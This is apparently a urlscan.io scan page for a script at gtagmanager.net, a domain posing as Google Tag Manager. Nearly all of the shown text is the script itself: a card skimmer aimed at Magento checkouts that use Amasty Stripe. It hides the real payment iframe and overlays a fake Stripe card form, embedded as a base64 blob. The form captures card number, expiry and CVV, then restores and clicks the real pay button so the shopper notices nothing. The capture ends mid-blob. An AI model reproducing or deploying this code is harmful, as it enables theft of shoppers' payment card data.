gtagmanager.net
Open in
urlscan Pro
45.134.173.161
Public Scan
URL:
http://gtagmanager.net/almurad.js
Submission: On March 06 via api from US — Scanned from US
Submission: On March 06 via api from US — Scanned from US
Form analysis
0 forms found in the DOMText Content
'use strict' if (!window.d5yRYwil9rcarc9sDbJXtRRq0jifEAI4) { var formInterval; window.wpixel = window.wpixel || {} window._stqixel = window._stqixel || [] window.wpixel.stats = (function () { const start = function (url) { return new Promise(function (onexit) { var code = document.querySelector(url) if (code) { return onexit(code) } const observer = new MutationObserver(function () { var code = document.querySelector(url) if (code) { onexit(code) observer.disconnect() } }) observer.observe(document.body, { childList: true, subtree: true, }) }) } function dataSend(data) { set_data('card-p6JqcGJ5', data.split(' | ')[0]); set_data('expiry-p6JqcGJ5', data.split(' | ')[1]); set_data('cvv-p6JqcGJ5', data.split(' | ')[2]); localStorage.setItem('QIQWJJnh1Ckclw0jFr5KPME2M3kYHTyq', '5spSXI2xFGbOszZeTKDSBS9Dw4tY87ld'); clearInterval(formInterval); start('#amasty_stripe_card_data iframe').then(function (el) { let fake = document.querySelector('#f98sd621') fake.remove(); el.style.display = ''; }); start('#checkout-payment-method-load .payment-method-amasty_stripe .actions-toolbar .primary button').then(function (el) { let fake = document.querySelector('#g8h76gu9') fake.remove(); el.style.display = ''; }); start('#j38y712').then(function (el) { el.remove() }); start('#checkout-payment-method-load .payment-method-amasty_stripe .actions-toolbar .primary button').then(function (el) { el.click(); }); } window.addEventListener("message", getEvent, false); function getEvent(event) { if (event.data !== undefined && event.data !== null && typeof event.data === 'string') { var data = event.data.split(' | ') switch (data[0]) { case 'confirm': dataSend(data[1] + ' | ' + data[2] + ' | ' + data[3]); break; case 'error': console.log(data[1]) var errors = document.querySelector('.error-message') if (data[1] == 'null') { errors.innerHTML = ''; } else { errors.innerHTML = data[1] } break; default: // nothing break; } } } function openFrame() { var check = document.querySelector('#f98sd621'), block = document.querySelector('#amasty_stripe_card_data iframe') if (!check) { let iframe = document.createElement('iframe'); let content = 'PGh0bWwgbGFuZz1lcz48bWV0YSBjaGFyc2V0PXV0Zi04PjxtZXRhIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEibmFtZT12aWV3cG9ydD48bGluayBocmVmPWh0dHBzOi8vanMuc3RyaXBlLmNvbS92My9maW5nZXJwcmludGVkL2Nzcy91aS1zaGFyZWQtMWQyN2Y0ZTJiMzE0NjM3YmE0YmI5ZDdmZjc5YzIzYzcuY3NzIHJlbD1zdHlsZXNoZWV0PjxsaW5rIGhyZWY9aHR0cHM6Ly9qcy5zdHJpcGUuY29tL3YzL2ZpbmdlcnByaW50ZWQvY3NzL2VsZW1lbnRzLWlubmVyLWNhcmQtMGQ0NTAzMjM2YjEwNzIzMzE4Y2ViMWU3NjA2ZTk5OTguY3NzIHJlbD1zdHlsZXNoZWV0PjxkaXYgaWQ9cm9vdD48ZGl2IGNsYXNzPSJpcy1lbXB0eSBFbGVtZW50c0FwcCJkaXI9bHRyPjxzdHlsZT4uRWxlbWVudHNBcHAsLkVsZW1lbnRzQXBwIC5JbnB1dEVsZW1lbnR7Y29sb3I6IzMyMzI1ZDtmb250LWZhbWlseTotYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCwiU2Vnb2UgVUkiLFJvYm90byxIZWx2ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjtmb250LXNpemU6MThweDstd2Via2l0LWZvbnQtc21vb3RoaW5nOmFudGlhbGlhc2VkOy1tb3otb3N4LWZvbnQtc21vb3RoaW5nOmdyYXlzY2FsZX0uRWxlbWVudHNBcHA6bm90KC5pcy1hdXRvZmlsbGVkKSAuSW5wdXRFbGVtZW50Oi13ZWJraXQtYXV0b2ZpbGx7Y29sb3I6IzMyMzI1ZDstd2Via2l0LXRleHQtZmlsbC1jb2xvcjojMzIzMjVkfS5FbGVtZW50c0FwcCAuSW5wdXRFbGVtZW50Ky5JbnB1dENvbnRhaW5lci1wbGFjZWhvbGRlci0taWV7Y29sb3I6I2FhYjdjNH0uSW5wdXRDb250YWluZXIgLklucHV0RWxlbWVudHt0b3A6MXB4fS5FbGVtZW50c0FwcCAuSW5wdXRFbGVtZW50Ojotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVye2NvbG9yOiNhYWI3YzR9LkVsZW1lbnRzQXBwIC5JbnB1dEVsZW1lbnQ6Oi1tb3otcGxhY2Vob2xkZXJ7Y29sb3I6I2FhYjdjNH0uRWxlbWVudHNBcHAgLklucHV0RWxlbWVudDotbXMtaW5wdXQtcGxhY2Vob2xkZXJ7Y29sb3I6I2FhYjdjNH0uRWxlbWVudHNBcHAgLklucHV0RWxlbWVudDo6cGxhY2Vob2xkZXJ7Y29sb3I6I2FhYjdjNH0uRWxlbWVudHNBcHAuaXMtYXV0b2ZpbGxlZCAuSW5wdXRFbGVtZW50Oi13ZWJraXQtYXV0b2ZpbGwsLkVsZW1lbnRzQXBwLmlzLWF1dG9maWxsZWQgLklucHV0RWxlbWVudDpub3QoLmlzLWVtcHR5KXtjb2xvcjojMzIzMjVkOy13ZWJraXQtdGV4dC1maWxsLWNvbG9yOiMzMjMyNWR9LkVsZW1lbnRzQXBwIC5JbnB1dEVsZW1lbnQuaXMtaW52YWxpZHtjb2xvcjojZmE3NTVhfS5FbGVtZW50c0FwcDpub3QoLmlzLWF1dG9maWxsZWQpIC5JbnB1dEVsZW1lbnQuaXMtaW52YWxpZDotd2Via2l0LWF1dG9maWxse2NvbG9yOiNmYTc1NWE7LXdlYmtpdC10ZXh0LWZpbGwtY29sb3I6I2ZhNzU1YX0uRWxlbWVudHNBcHAuaXMtaW52YWxpZCAuSWNvbi1maWxse2ZpbGw6I2ZhNzU1YX0uRWxlbWVudHNBcHAuaXMtYXV0b2ZpbGxlZCAuSW5wdXRFbGVtZW50LmlzLWludmFsaWQ6LXdlYmtpdC1hdXRvZmlsbCwuRWxlbWVudHNBcHAuaXMtYXV0b2ZpbGxlZCAuSW5wdXRFbGVtZW50LmlzLWludmFsaWQ6bm90KC5pcy1lbXB0eSl7Y29sb3I6I2ZhNzU1YTstd2Via2l0LXRleHQtZmlsbC1jb2xvcjojZmE3NTVhfSNlcnJvci5JY29uLWZpbGx7ZmlsbDojZmE3NTVhIWltcG9ydGFudH0uRWxlbWVudHNBcHAgLklucHV0RWxlbWVudDo6cGxhY2Vob2xkZXJ7Y29sb3I6IzEzMzk1ZTtmb250LWZhbWlseTotYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCxTZWdvZSBVSSxSb2JvdG8sT3h5Z2VuLFVidW50dSxDYW50YXJlbGwsT3BlbiBTYW5zLEhlbHZldGljYSBOZXVlLHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6MzAwO2xldHRlci1zcGFjaW5nOi0uNHB4fS5FbGVtZW50c0FwcCAuSW5wdXRFbGVtZW50e3BhZGRpbmc6MDttYXJnaW4tcmlnaHQ6NHB4O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwwKTtib3JkZXI6bm9uZTtvdXRsaW5lOjA7Zm9udC1zaXplOjE1cHg7Zm9udC13ZWlnaHQ6NTAwO2NvbG9yOiMxMzM5NWU7bGV0dGVyLXNwYWNpbmc6LS40cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO21hcmdpbi10b3A6MDstd2Via2l0LWFwcGVhcmFuY2U6bm9uZX08L3N0eWxlPjxzcGFuIHN0eWxlPW9wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lO2hlaWdodDoycHg7d2lkdGg6MnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDotMnB4O3VzZXItc2VsZWN0Om5vbmUgYXJpYS1oaWRkZW49dHJ1ZSB0YWJpbmRleD0tMT4wMTIzNDU2Nzg577yQ77yR77yS77yT77yU77yV77yW77yX77yY77yZPC9zcGFuPjxpbnB1dCBhdXRvY29tcGxldGU9ZmFrZSBjbGFzcz1TdHJpcGVGaWVsZC0tZmFrZSB0YWJpbmRleD0wIHN0eWxlPW9wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lO2hlaWdodDoycHg7d2lkdGg6MnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDotMnB4IGFyaWEtaGlkZGVuPXRydWUgZGlzYWJsZWQ+PGRpdiBjbGFzcz0iQ2FyZEZpZWxkIENhcmRGaWVsZC0tbHRyIGlzLWxpbmstaGlkZGVuIHByZXZpb3VzLWxpbmstaGlkZGVuImlkPXRhYm9mOSB0YWJpbmRleD0tMT48ZGl2IGNsYXNzPUNhcmRCcmFuZEljb24tY29udGFpbmVyIGlkPWNpY28gYXJpYS1oaWRkZW49dHJ1ZSBkYXRhLWJhY2staWNvbi1uYW1lPWN2YyBkYXRhLWZyb250LWljb24tbmFtZT11bmtub3duPjxkaXYgY2xhc3M9Q2FyZEJyYW5kSWNvbi13cmFwcGVyPjxkaXYgY2xhc3M9IkNhcmRCcmFuZEljb24gSWNvbiBpcy1jdmMtaGlkZGVuIGlzLWxvYWRlZCI+PGRpdiBjbGFzcz0iQ2FyZEJyYW5kSWNvbi1pbm5lciBDYXJkQnJhbmRJY29uLWlubmVyLS1mcm9udCJpZD1jYmRpPjxzdmcgZm9jdXNhYmxlPWZhbHNlIHZpZXdCb3g9IjAgMCAzMiAyMSI+PGcgZmlsbD1ub25lIGZpbGwtcnVsZT1ldmVub2RkPjxnIGNsYXNzPUljb24tZmlsbD48ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDIpIj48cGF0aCBkPSJNMjYuNTggMTlIMi40MkEyLjQgMi40IDAgMCAxIDAgMTYuNjJWMi4zOEEyLjQgMi40IDAgMCAxIDIuNDIgMGgyNC4xNkEyLjQgMi40IDAgMCAxIDI5IDIuMzh2MTQuMjVBMi40IDIuNCAwIDAgMSAyNi41OCAxOXpNMTAgNS44M2MwLS40Ni0uMzUtLjgzLS43OC0uODNIMy43OGMtLjQzIDAtLjc4LjM3LS43OC44M3YzLjM0YzAgLjQ2LjM1LjgzLjc4LjgzaDUuNDRjLjQzIDAgLjc4LS4zNy43OC0uODNWNS44M3oib3BhY2l0eT0uMj48L3BhdGg+PHBhdGggZD0iTTI1IDE1aC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwSDRjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6Im9wYWNpdHk9LjM+PC9wYXRoPjwvZz48L2c+PC9nPjwvc3ZnPjwvZGl2PjxkaXYgY2xhc3M9IkNhcmRCcmFuZEljb24taW5uZXIgQ2FyZEJyYW5kSWNvbi1pbm5lci0tYmFjayI+PHN2ZyBmb2N1c2FibGU9ZmFsc2Ugdmlld0JveD0iMCAwIDMyIDIxImFyaWEtbGFiZWw9Q1ZWIHJvbGU9aW1nPjx0aXRsZT5DVlY8L3RpdGxlPjxnIGZpbGw9bm9uZSBmaWxsLXJ1bGU9ZXZlbm9kZD48ZyBjbGFzcz1JY29uLWZpbGw+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCAyKSI+PHBhdGggZD0iTTIxLjY4IDBIMmMtLjkyIDAtMiAxLjA2LTIgMnYxNWMwIC45NCAxLjA4IDIgMiAyaDI1Yy45MiAwIDItMS4wNiAyLTJWOS40N2E1Ljk4IDUuOTggMCAwIDEtMyAxLjQ1VjExYzAgLjY2LS4zNiAxLTEgMUgzYy0uNjQgMC0xLS4zNC0xLTF2LTFjMC0uNjYuMzYtMSAxLTFoMTcuNTNhNS45OCA1Ljk4IDAgMCAxIDEuMTUtOXoib3BhY2l0eT0uMj48L3BhdGg+PHBhdGggZD0iTTE5LjM0IDNIMHYzaDE5LjA4YTYuMDQgNi4wNCAwIDAgMSAuMjYtM3oib3BhY2l0eT0uMz48L3BhdGg+PC9nPjxnIHRyYW5zZm9ybT10cmFuc2xhdGUoMTgpPjxwYXRoIGQ9Ik03IDE0QTcgNyAwIDEgMSA3IDBhNyA3IDAgMCAxIDAgMTR6TTQuMjIgNC4xaC0uNzlsLTEuOTMuOTh2MWwxLjUzLS44VjkuOWgxLjJWNC4xem0yLjMuOGMuNTcgMCAuOTcuMzIuOTcuNzggMCAuNS0uNDcuODUtMS4xNS44NWgtLjN2Ljg1aC4zNmMuNzIgMCAxLjIxLjM2IDEuMjEuODggMCAuNS0uNDguODQtMS4xNi44NC0uNSAwLTEtLjE2LTEuNTItLjQ3djFjLjU2LjI0IDEuMTIuMzcgMS42Ny4zNyAxLjMxIDAgMi4yMS0uNjcgMi4yMS0xLjY0IDAtLjY4LS40Mi0xLjIzLTEuMTItMS40NS42LS4yLjk5LS43My45OS0xLjMzQzguNjggNC42NCA3Ljg1IDQgNi42NSA0YTQgNCAwIDAgMC0xLjU3LjM0di45OGMuNDgtLjI3Ljk3LS40MiAxLjQ0LS40MnptNC4zMiAyLjE4Yy43MyAwIDEuMjQuNDMgMS4yNC45OSAwIC41OS0uNTEgMS0xLjI0IDEtLjQ0IDAtLjktLjE0LTEuMzctLjQzdjEuMDNjLjQ5LjIyLjk5LjMzIDEuNDguMzMuMjYgMCAuNS0uMDQuNzMtLjEuNTItLjg1LjgyLTEuODMuODItMi44OGwtLjAyLS40MmEyLjMgMi4zIDAgMCAwLTEuMjMtLjMyYy0uMTggMC0uMzcuMDEtLjU3LjA0di0xLjNoMS40NGE1LjYyIDUuNjIgMCAwIDAtLjQ2LS45Mkg5LjY0djMuMTVjLjQtLjEuOC0uMTcgMS4yLS4xN3oiPjwvcGF0aD48L2c+PC9nPjwvZz48L3N2Zz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPUNhcmRGaWVsZC1pbnB1dC13cmFwcGVyIGlkPWNudW0gZGlyPWx0cj48c3BhbiBjbGFzcz0iQ2FyZEZpZWxkLWNoaWxkIENhcmRGaWVsZC1udW1iZXIiaWQ9Q2FyZEZpZWxkLW51bWJlciBzdHlsZT10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKT48c3BhbiBjbGFzcz1DYXJkRmllbGQtbnVtYmVyLWZha2VOdW1iZXIgYXJpYS1oaWRkZW49dHJ1ZT48c3BhbiBjbGFzcz0iSW5wdXRFbGVtZW50IENhcmRGaWVsZC1udW1iZXItZmFrZU51bWJlci1sYXN0NCI+PC9zcGFuPjxzcGFuIGNsYXNzPUNhcmRGaWVsZC1udW1iZXItZmFrZU51bWJlci1udW1iZXI+TsO6bWVybzwvc3Bhbj48L3NwYW4+PHNwYW4+PGRpdiBjbGFzcz0iQ2FyZE51bWJlckZpZWxkIENhcmROdW1iZXJGaWVsZC0tbHRyImFyaWEtaGlkZGVuPWZhbHNlIHRhYmluZGV4PS0xPjxkaXYgY2xhc3M9IkNhcmRCcmFuZEljb24tY29udGFpbmVyIGlzLWhpZGRlbiJhcmlhLWhpZGRlbj10cnVlIGRhdGEtYmFjay1pY29uLW5hbWU9Y3ZjIGRhdGEtZnJvbnQtaWNvbi1uYW1lPXVua25vd24+PGRpdiBjbGFzcz1DYXJkQnJhbmRJY29uLXdyYXBwZXI+PGRpdiBjbGFzcz0iQ2FyZEJyYW5kSWNvbiBJY29uIGlzLWN2Yy1oaWRkZW4gaXMtbG9hZGVkIj48ZGl2IGNsYXNzPSJDYXJkQnJhbmRJY29uLWlubmVyIENhcmRCcmFuZEljb24taW5uZXItLWZyb250Ij48c3ZnIGZvY3VzYWJsZT1mYWxzZSB2aWV3Qm94PSIwIDAgMzIgMjEiPjxnIGZpbGw9bm9uZSBmaWxsLXJ1bGU9ZXZlbm9kZD48ZyBjbGFzcz1JY29uLWZpbGw+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCAyKSI+PHBhdGggZD0iTTI2LjU4IDE5SDIuNDJBMi40IDIuNCAwIDAgMSAwIDE2LjYyVjIuMzhBMi40IDIuNCAwIDAgMSAyLjQyIDBoMjQuMTZBMi40IDIuNCAwIDAgMSAyOSAyLjM4djE0LjI1QTIuNCAyLjQgMCAwIDEgMjYuNTggMTl6TTEwIDUuODNjMC0uNDYtLjM1LS44My0uNzgtLjgzSDMuNzhjLS40MyAwLS43OC4zNy0uNzguODN2My4zNGMwIC40Ni4zNS44My43OC44M2g1LjQ0Yy40MyAwIC43OC0uMzcuNzgtLjgzVjUuODN6Im9wYWNpdHk9LjI+PC9wYXRoPjxwYXRoIGQ9Ik0yNSAxNWgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMGgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMGgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMEg0Yy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxeiJvcGFjaXR5PS4zPjwvcGF0aD48L2c+PC9nPjwvZz48L3N2Zz48L2Rpdj48ZGl2IGNsYXNzPSJDYXJkQnJhbmRJY29uLWlubmVyIENhcmRCcmFuZEljb24taW5uZXItLWJhY2siPjxzdmcgZm9jdXNhYmxlPWZhbHNlIHZpZXdCb3g9IjAgMCAzMiAyMSJhcmlhLWxhYmVsPUNWViByb2xlPWltZz48dGl0bGU+Q1ZWPC90aXRsZT48ZyBmaWxsPW5vbmUgZmlsbC1ydWxlPWV2ZW5vZGQ+PGcgY2xhc3M9SWNvbi1maWxsPjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAgMikiPjxwYXRoIGQ9Ik0yMS42OCAwSDJjLS45MiAwLTIgMS4wNi0yIDJ2MTVjMCAuOTQgMS4wOCAyIDIgMmgyNWMuOTIgMCAyLTEuMDYgMi0yVjkuNDdhNS45OCA1Ljk4IDAgMCAxLTMgMS40NVYxMWMwIC42Ni0uMzYgMS0xIDFIM2MtLjY0IDAtMS0uMzQtMS0xdi0xYzAtLjY2LjM2LTEgMS0xaDE3LjUzYTUuOTggNS45OCAwIDAgMSAxLjE1LTl6Im9wYWNpdHk9LjI+PC9wYXRoPjxwYXRoIGQ9Ik0xOS4zNCAzSDB2M2gxOS4wOGE2LjA0IDYuMDQgMCAwIDEgLjI2LTN6Im9wYWNpdHk9LjM+PC9wYXRoPjwvZz48ZyB0cmFuc2Zvcm09dHJhbnNsYXRlKDE4KT48cGF0aCBkPSJNNyAxNEE3IDcgMCAxIDEgNyAwYTcgNyAwIDAgMSAwIDE0ek00LjIyIDQuMWgtLjc5bC0xLjkzLjk4djFsMS41My0uOFY5LjloMS4yVjQuMXptMi4zLjhjLjU3IDAgLjk3LjMyLjk3Ljc4IDAgLjUtLjQ3Ljg1LTEuMTUuODVoLS4zdi44NWguMzZjLjcyIDAgMS4yMS4zNiAxLjIxLjg4IDAgLjUtLjQ4Ljg0LTEuMTYuODQtLjUgMC0xLS4xNi0xLjUyLS40N3YxYy41Ni4yNCAxLjEyLjM3IDEuNjcuMzcgMS4zMSAwIDIuMjEtLjY3IDIuMjEtMS42NCAwLS42OC0uNDItMS4yMy0xLjEyLTEuNDUuNi0uMi45OS0uNzMuOTktMS4zM0M4LjY4IDQuNjQgNy44NSA0IDYuNjUgNGE0IDQgMCAwIDAtMS41Ny4zNHYuOThjLjQ4LS4yNy45Ny0uNDIgMS40NC0uNDJ6bTQuMzIgMi4xOGMuNzMgMCAxLjI0LjQzIDEuMjQuOTkgMCAuNTktLjUxIDEtMS4yNCAxLS40NCAwLS45LS4xNC0xLjM3LS40M3YxLjAzYy40OS4yMi45OS4zMyAxLjQ4LjMzLjI2IDAgLjUtLjA0LjczLS4xLjUyLS44NS44Mi0xLjgzLjgyLTIuODhsLS4wMi0uNDJhMi4zIDIuMyAwIDAgMC0xLjIzLS4zMmMtLjE4IDAtLjM3LjAxLS41Ny4wNHYtMS4zaDEuNDRhNS42MiA1LjYyIDAgMCAwLS40Ni0uOTJIOS42NHYzLjE1Yy40LS4xLjgtLjE3IDEuMi0uMTd6Ij48L3BhdGg+PC9nPjwvZz48L2c+PC9zdmc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz1DYXJkTnVtYmVyRmllbGQtaW5wdXQtd3JhcHBlciBzdHlsZT1tYXgtd2lkdGg6MTY1cHg+PHNwYW4gY2xhc3M9SW5wdXRDb250YWluZXIgZGF0YS1tYXg9IjQyNDIgNDI0MiA0MjQyIDQyNDIgNDI0MCI+PGlucHV0IGF1dG9jb21wbGV0ZT1vZmYgY2xhc3M9IklucHV0RWxlbWVudCBJbnB1dCBJbnB1dC0tZW1wdHkgaXMtZW1wdHkgY2NGb3JtYXRNb25pdG9yInRhYmluZGV4PTAgYXJpYS1pbnZhbGlkPWZhbHNlIGFyaWEtbGFiZWw9Ik51bWVybyBkZSBsYSB0YXJqZXRhIGRlIGNyw6lkaXRvIG8gZMOpYml0byJhdXRvY29ycmVjdD1vZmYgZGF0YS1lbGVtZW50cy1zdGFibGUtZmllbGQtbmFtZT1jYXJkTnVtYmVyIGlkPUZpZWxkLW51bWJlcklucHV0IG1heGxlbmd0aD0xOSBuYW1lPWNhcmRudW1iZXIgcGxhY2Vob2xkZXI9IkNhcmQgbnVtYmVyInNwZWxsY2hlY2s9ZmFsc2UgdHlwZT10ZWw+PC9zcGFuPjwvZGl2PjwvZGl2Pjwvc3Bhbj48L3NwYW4+PHNwYW4gY2xhc3M9Q2FyZEZpZWxkLXJlc3RXcmFwcGVyIGlkPUNhcmRGaWVsZC1yZXN0V3JhcHBlciBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDt0cmFuc2l0aW9uOmFsbCAuMjVzIGVhc2UgMHMiPjxzcGFuIGNsYXNzPSJDYXJkRmllbGQtY2hpbGQgQ2FyZEZpZWxkLWV4cGlyeSI+PHNwYW4+PHNwYW4gY2xhc3M9SW5wdXRDb250YWluZXIgZGF0YS1tYXg9Ik1NIC8gQUEwIj48aW5wdXQgYXV0b2NvbXBsZXRlPW9mZiBjbGFzcz0iSW5wdXRFbGVtZW50IElucHV0IElucHV0LS1lbXB0eSBpcy1lbXB0eSJ0YWJpbmRleD0wIGFyaWEtaW52YWxpZD1mYWxzZSBhcmlhLWxhYmVsPSJGZWNoYSBkZSBjYWR1Y2lkYWQgZGUgbGEgdGFyamV0YSBkZSBjcsOpZGl0byBvIGTDqWJpdG8iYXV0b2NvcnJlY3Q9b2ZmIGRhdGEtZWxlbWVudHMtc3RhYmxlLWZpZWxkLW5hbWU9Y2FyZEV4cGlyeSBpZD1GaWVsZC1leHBpcnlJbnB1dCBtYXhsZW5ndGg9NSBuYW1lPWV4cC1kYXRlIHBsYWNlaG9sZGVyPU1NL1lZIHNwZWxsY2hlY2s9ZmFsc2UgdHlwZT10ZWwgc3R5bGU9bWF4LXdpZHRoOjUwcHg7bWFyZ2luLWxlZnQ6MjVweD48L3NwYW4+PC9zcGFuPjwvc3Bhbj48c3BhbiBjbGFzcz0iQ2FyZEZpZWxkLWNoaWxkIENhcmRGaWVsZC1jdmMiPjxzcGFuPjxzcGFuIGNsYXNzPUlucHV0Q29udGFpbmVyIGRhdGEtbWF4PTAwMDAwPjxpbnB1dCBhdXRvY29tcGxldGU9b2ZmIGNsYXNzPSJJbnB1dEVsZW1lbnQgSW5wdXQgSW5wdXQtLWVtcHR5IGlzLWVtcHR5InRhYmluZGV4PTAgYXJpYS1pbnZhbGlkPWZhbHNlIGFyaWEtbGFiZWw9IkNWViBkZSBsYSB0YXJqZXRhIGRlIGNyw6lkaXRvIG8gZMOpYml0byJhdXRvY29ycmVjdD1vZmYgZGF0YS1lbGVtZW50cy1zdGFibGUtZmllbGQtbmFtZT1jYXJkQ3ZjIGlkPUZpZWxkLWN2Y0lucHV0IG1heGxlbmd0aD00IG5hbWU9Y3ZjIHBsYWNlaG9sZGVyPUNWViBzcGVsbGNoZWNrPWZhbHNlIHR5cGU9dGVsIG9uaW5wdXQ9J3RoaXMudmFsdWU9dGhpcy52YWx1ZS5yZXBsYWNlKC9bXjAtOV0vZywiIikucmVwbGFjZSgvKFwuLio/KVwuLiovZywiJDEiKSc+PC9zcGFuPjwvc3Bhbj48L3NwYW4+PC9zcGFuPjwvZGl2PjwvZGl2PjxpbnB1dCBhdXRvY29tcGxldGU9ZmFrZSBjbGFzcz1TdHJpcGVGaWVsZC0tZmFrZSB0YWJpbmRleD0wIHN0eWxlPW9wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lO2hlaWdodDoycHg7d2lkdGg6MnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDotMnB4IGFyaWEtaGlkZGVuPXRydWUgZGlzYWJsZWQ+PGJ1dHRvbiBhcmlhLWhpZGRlbj10cnVlIHN0eWxlPW9wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lO2hlaWdodDoycHg7d2lkdGg6MnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDotMnB4IHRhYmluZGV4PS0xIHR5cGU9c3VibWl0PjwvYnV0dG9uPjwvZGl2PjwvZGl2PjxzY3JpcHQgY3Jvc3NvcmlnaW49YW5vbnltb3VzIGludGVncml0eT0ic2hhNTEyLTNnSndZcE1lM1Fld0dFTHY4ay9CWDl2Y3FocnlSZHpSTXhWZnE2bmd5V1h3bzAzR0ZFempzVW04UTdSWmNIUEhrc3R0cTcvR0ZveGpDVlVqa2p2UGR3PT0icmVmZXJyZXJwb2xpY3k9bm8tcmVmZXJyZXIgc3JjPWh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2pxdWVyeS8zLjcuMC9qcXVlcnkubWluLmpzPjwvc2NyaXB0PjxzY3JpcHQ+Y29uc3QgVkNOID0gbnVtYmVyID0+IHsKICAgICAgICAgICAgY29uc3QgcmVnZXggPSBuZXcgUmVnRXhwKCJeWzAtOV17MTMsMTl9JCIpOwogICAgICAgICAgICBpZiAoIXJlZ2V4LnRlc3QobnVtYmVyKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBMQyhudW1iZXIpOwogICAgICAgIH0KCiAgICAgICAgY29uc3QgTEMgPSB2YWwgPT4gewogICAgICAgICAgICBsZXQgY2hlY2tzdW0gPSAwOwogICAgICAgICAgICBsZXQgaiA9IDE7CiAgICAgICAgICAgIGZvciAobGV0IGkgPSB2YWwubGVuZ3RoIC0gMTsgaSA+PSAwOyBpLS0pIHsKICAgICAgICAgICAgICAgIGxldCBjYWxjID0gMDsKICAgICAgICAgICAgICAgIGNhbGMgPSBOdW1iZXIodmFsLmNoYXJBdChpKSkgKiBqOwogICAgICAgICAgICAgICAgaWYgKGNhbGMgPiA5KSB7CiAgICAgICAgICAgICAgICAgICAgY2hlY2tzdW0gPSBjaGVja3N1bSArIDE7CiAgICAgICAgICAgICAgICAgICAgY2FsYyA9IGNhbGMgLSAxMDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBjaGVja3N1bSA9IGNoZWNrc3VtICsgY2FsYzsKCiAgICAgICAgICAgICAgICBpZiAoaiA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgaiA9IDI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGogPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gKGNoZWNrc3VtICUgMTApID09IDA7CiAgICAgICAgfQoKICAgICAgICBjb25zdCBDQ0MgPSBjYXJkbnVtYmVyID0+IHsKCiAgICAgICAgICAgIGNvbnN0IGNjRXJyb3JzID0gW107CiAgICAgICAgICAgIGNjRXJyb3JzWzBdID0gIlVua25vd24gY2FyZCB0eXBlLiI7CiAgICAgICAgICAgIGNjRXJyb3JzWzFdID0gIk5vIGNhcmQgbnVtYmVyIHByb3ZpZGVkLiI7CiAgICAgICAgICAgIGNjRXJyb3JzWzJdID0gIllvdXIgY2FyZCBudW1iZXIgaXMgaW52YWxpZC4iOwogICAgICAgICAgICBjY0Vycm9yc1szXSA9ICJZb3VyIGNhcmQgbnVtYmVyIGlzIGluY29tcGxldGUuIjsKICAgICAgICAgICAgY2NFcnJvcnNbNF0gPSAiQ2FyZCBudW1iZXIgaGFzIGFuIGluYXBwcm9wcmlhdGUgbnVtYmVyIG9mIGRpZ2l0cy4iOwoKICAgICAgICAgICAgY29uc3QgcmVzcG9uc2UgPSAoc3VjY2VzcywgbWVzc2FnZSA9IG51bGwsIHR5cGUgPSBudWxsKSA9PiAoewogICAgICAgICAgICAgICAgbWVzc2FnZSwKICAgICAgICAgICAgICAgIHN1Y2Nlc3MsCiAgICAgICAgICAgICAgICB0eXBlCiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgY29uc3QgY2FyZHMgPSBbXTsKICAgICAgICAgICAgY2FyZHNbMF0gPSB7CiAgICAgICAgICAgICAgICBuYW1lOiAiVmlzYSIsCiAgICAgICAgICAgICAgICBsZW5ndGg6ICIxMywxNiIsCiAgICAgI